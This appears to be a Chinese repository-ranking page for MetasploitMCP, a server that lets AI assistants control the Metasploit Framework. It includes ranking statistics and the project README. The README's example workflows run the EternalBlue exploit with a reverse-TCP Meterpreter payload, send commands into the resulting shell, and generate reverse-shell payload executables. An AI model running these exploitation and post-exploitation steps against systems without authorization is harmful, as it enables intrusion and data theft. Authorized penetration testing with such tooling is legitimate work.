← 开源
GH05TCREW

MetasploitMCP

MCP Server for Metasploit

AI EngineeringGive agent toolsPython
在 GitHub 打开
增长势头
+024 小时新增 Star0.0%
744
Star
210
Fork
+2
本周
5
贡献者
创建于 2025-04-13 · 更新于 2026-10-14 · 今日第 14295 名
主要开发者
GH05TCREWsetuidlootg0tmi1k

GH05TCREW/MetasploitMCP 排名第 14,295,有 744 个星标。

同类别比较

GH05TCREW/MetasploitMCP 排名第 14,295,此处有 8 个同类条目;VikParuchuri/tabled 排名第 14,298。

同类别比较
名称排名指标
rapidaai/voice-ai14,275
语言:
Go
星标数:
746
分叉数:
123
简介:
Rapida is an open-source, end-to-end voice AI orchestration platform for building real-time conversational voice agents with audio streaming, STT, TTS, VAD, multi-channel integration, agent state management, and observability.
tesserato/CodeWeaver14,276
语言:
Go
星标数:
746
分叉数:
58
简介:
Weave your codebase into a single, navigable Markdown document
2aronS/Duel-Agents14,278
语言:
TypeScript
星标数:
745
分叉数:
28
简介:
CLI, SDK, and IDE plugins for Duel Agents
chujianyun/skills14,286
语言:
JavaScript
星标数:
745
分叉数:
102
简介:
WuMing's Claude Skills
VikParuchuri/tabled14,298
语言:
Python
星标数:
744
分叉数:
55
简介:
Detect and extract tables to markdown and csv
bhimrazy/receipt-ocr14,308
语言:
Python
星标数:
743
分叉数:
88
简介:
An efficient OCR engine for receipt image processing.
Explosion-Scratch/claude-unofficial-api14,315
语言:
JavaScript
星标数:
742
分叉数:
76
简介:
Unofficial API for Claude-2 via Claude Web (Also CLI)
StevenStavrakis/obsidian-mcp14,317
语言:
TypeScript
星标数:
742
分叉数:
94
简介:
A simple MCP server for Obsidian
关键参数与规格
关键参数与规格
参数值
语言Python
类别AI Engineering
子类别Give agent tools
关键词Agent-ready APIs, Automation, MCP, Tool use
星标数744
分叉数210
贡献者5
创建日期2025-04-13
更新日期2026-10-14
1 天星标数0
7 天星标数2
排名14,295
上次排名14,151
排名变化-144
7 天星标排名8,545
上次 7 天星标排名8,617
7 天星标排名变化72
总星标排名14,173
上次总星标排名14,147
总星标排名变化-26
README 摘录

Metasploit MCP Server A Model Context Protocol (MCP) server for Metasploit Framework integration. Description This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows. Features Module Information **list_exploits**: Search and list available Metasploit exploit modules **list_payloads**: Search and list available Metasploit payload modules with optional

platform and architecture filtering Exploitation Workflow **run_exploit**: Configure and execute an exploit against a target with options to run checks first **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options **run_post_module**: Execute post-exploitation modules against existing sessions Payload Generation **generate_payload**: Generate payload files using Metasploit RPC (saves files locally) Session Management **list_active_sessions**: Show current Metasploit sessions with detailed information **send_session_command**: Run a command in an active shell or Meterpreter

session **terminate_session**: Forcefully end an active session Handler Management **list_listeners**: Show all active handlers and background jobs **start_listener**: Create a new multi/handler to receive connections **stop_job**: Terminate any running job or handler Prerequisites Metasploit Framework installed and msfrpcd running Python 3. 10 or higher Required Python packages (see requirements. Configure environment variables (optional): Usage Start the Metasploit RPC service: Transport Options The server supports two transport methods: **HTTP/SSE (Server-Sent Events)**: Default mode for

interoperability with most MCP clients **STDIO (Standard Input/Output)**: Used with Claude Desktop and similar direct pipe connections You can explicitly select the transport mode using the flag: Additional options for HTTP mode: Claude Desktop Integration For Claude Desktop integration, configure : Other MCP Clients For other MCP clients that use HTTP/SSE: 1. Configure your MCP client to connect to: SSE endpoint: Security Considerations ⚠️ **IMPORTANT SECURITY WARNING**: This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation

features. Use responsibly and only in environments where you have explicit permission to perform security testing. Always validate and review all commands before execution Only run in segregated test environments or with proper authorization Be aware that post-exploitation commands can result in significant system modifications Example Workflows Basic Exploitation 1. Terminate when done: Handler Management 1. Stop a handler: Testing This project includes comprehensive unit and integration tests to ensure reliability and maintainability. Prerequisites for Testing Install test dependencies

: Or use the convenient installer: Running Tests Quick Commands Specific Test Suites Test Options Test Structure ** **: Unit tests for the graceful options parsing functionality ** **: Unit tests for internal helper functions and MSF client management ** **: Integration tests for all MCP tools with mocked Metasploit backend ** **: Shared test fixtures and configuration ** **: Pytest configuration with coverage settings Test Features **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation **Async Support**: Full async/await testing support using

pytest-asyncio **Coverage Reporting**: Detailed coverage analysis with HTML reports **Parametrized Tests**: Efficient testing of multiple input scenarios **Fixture Management

常见问题

记录了多少星标和分叉?

GH05TCREW/MetasploitMCP 有 744 个星标和 210 个分叉。

仓库排名是多少?

GH05TCREW/MetasploitMCP 排名第 14,295。

记录的语言和类别是什么?

GH05TCREW/MetasploitMCP 有 744 个星标,语言为 Python,类别为 AI Engineering。

哪个仓库排名最接近?

GH05TCREW/MetasploitMCP 与 VikParuchuri/tabled 比较,后者排名第 14,298,有 744 个星标。

README

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
    
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. Configure your MCP client to connect to:

    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

pip install -r requirements-test.txt

Or use the convenient installer:

python run_tests.py --install-deps
# OR
make install-deps

Running Tests

Quick Commands

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Specific Test Suites

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Test Options

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Test Structure

  • tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
  • tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
  • tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
  • conftest.py: Shared test fixtures and configuration
  • pytest.ini: Pytest configuration with coverage settings

Test Features

  • Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
  • Async Support: Full async/await testing support using pytest-asyncio
  • Coverage Reporting: Detailed coverage analysis with HTML reports
  • Parametrized Tests: Efficient testing of multiple input scenarios
  • Fixture Management: Reusable test fixtures for common setup scenarios

Coverage Reports

After running tests with coverage, reports are available in:

  • Terminal: Coverage summary displayed after test run
  • HTML: htmlcov/index.html (when using --html option)

CI/CD Integration

For continuous integration:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (Command Prompt):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • In Claude Desktop config:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

排名相邻
同类项目